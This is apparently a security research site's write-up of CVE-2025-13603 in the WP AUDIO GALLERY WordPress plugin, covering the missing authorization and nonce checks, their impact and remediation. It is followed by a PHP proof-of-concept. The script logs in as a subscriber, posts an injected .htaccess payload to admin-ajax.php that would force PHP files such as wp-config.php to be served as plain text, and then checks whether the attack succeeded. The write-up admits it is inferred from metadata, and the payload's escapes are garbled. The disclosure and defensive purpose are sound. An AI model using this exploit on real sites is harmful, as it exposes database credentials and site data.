Atomic Edge analysis of CVE-2025-13603 (metadata-based):
This vulnerability in the WP AUDIO GALLERY plugin allows authenticated attackers with subscriber-level permissions to overwrite the site’s .htaccess file. The flaw resides in the ‘wpag_htaccess_callback’ function, which lacks proper authorization checks and nonce verification. Attackers can inject arbitrary content into .htaccess, potentially enabling arbitrary file read operations on the server. The CVSS score of 8.8 reflects high impact across confidentiality, integrity, and availability.
CWE-862 (Missing Authorization) indicates the plugin’s callback function does not verify user capabilities before processing requests. The vulnerability description confirms absent nonce verification, allowing CSRF-style attacks. Atomic Edge research infers the function likely hooks into WordPress’s AJAX or admin-post system, accepting POST parameters that directly write to .htaccess. These conclusions are inferred from the CWE classification and standard WordPress plugin patterns, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with subscriber privileges. The attacker sends a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with action=’wpag_htaccess_callback’. The request contains malicious .htaccess content, possibly using directives like ‘RewriteRule’ or ‘AddType’ to expose sensitive files. For example, setting ‘AddType application/x-httpd-php .log’ could execute log files as PHP, enabling source code disclosure. Attackers might also use ‘Require all granted’ directives to bypass directory protections.
Remediation requires adding capability checks and nonce verification. The plugin should implement current_user_can(‘manage_options’) or a similar administrator-only capability check before processing .htaccess modifications. A wp_verify_nonce() check must validate each request. The .htaccess writing function should sanitize input, restricting allowed directives to prevent injection of arbitrary Apache configuration. WordPress security best practices mandate using check_ajax_referer() for AJAX handlers.
Successful exploitation grants attackers arbitrary file read capabilities on the web server. By manipulating .htaccess, attackers can reconfigure directory indexing, override file type handlers, or disable security restrictions. This can lead to exposure of WordPress configuration files (wp-config.php), database credentials, user data, and other sensitive system files. In shared hosting environments, this vulnerability might facilitate cross-site data leakage between hosted accounts.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13603 - WP AUDIO GALLERY <= 2.0 - Authenticated (Subscriber+) Arbitrary File Read via .htaccess Manipulation
<?php
/**
* Proof of Concept for CVE-2025-13603
* Assumptions based on vulnerability description:
* 1. The plugin registers an AJAX action 'wpag_htaccess_callback'
* 2. No capability check exists beyond 'subscriber' level
* 3. No nonce verification is performed
* 4. The callback directly writes POST data to .htaccess
*/
$target_url = 'https://victim-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Malicious .htaccess content to enable arbitrary file read
// This directive forces .txt files to be served as plain text, allowing directory listing
// Alternative payloads could use AddType, RewriteRule, or Options directives
$htaccess_payload = "n# Injected via CVE-2025-13603n<FilesMatch ".*">n ForceType text/plainn</FilesMatch>n";
// Initialize session and get cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Send exploit payload to vulnerable AJAX endpoint
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'wpag_htaccess_callback',
'htaccess_content' => $htaccess_payload
])
]);
$response = curl_exec($ch);
curl_close($ch);
// Verify exploitation by checking if .htaccess was modified
$verify_ch = curl_init();
curl_setopt_array($verify_ch, [
CURLOPT_URL => 'https://victim-site.com/.htaccess',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$htaccess_content = curl_exec($verify_ch);
curl_close($verify_ch);
if (strpos($htaccess_content, 'Injected via CVE-2025-13603') !== false) {
echo "[+] Exploitation successful. .htaccess modified.n";
echo "[+] Attempt to access sensitive files via forced text/plain MIME type.n";
} else {
echo "[-] Exploitation may have failed. Check permissions and plugin activation.n";
}
?>
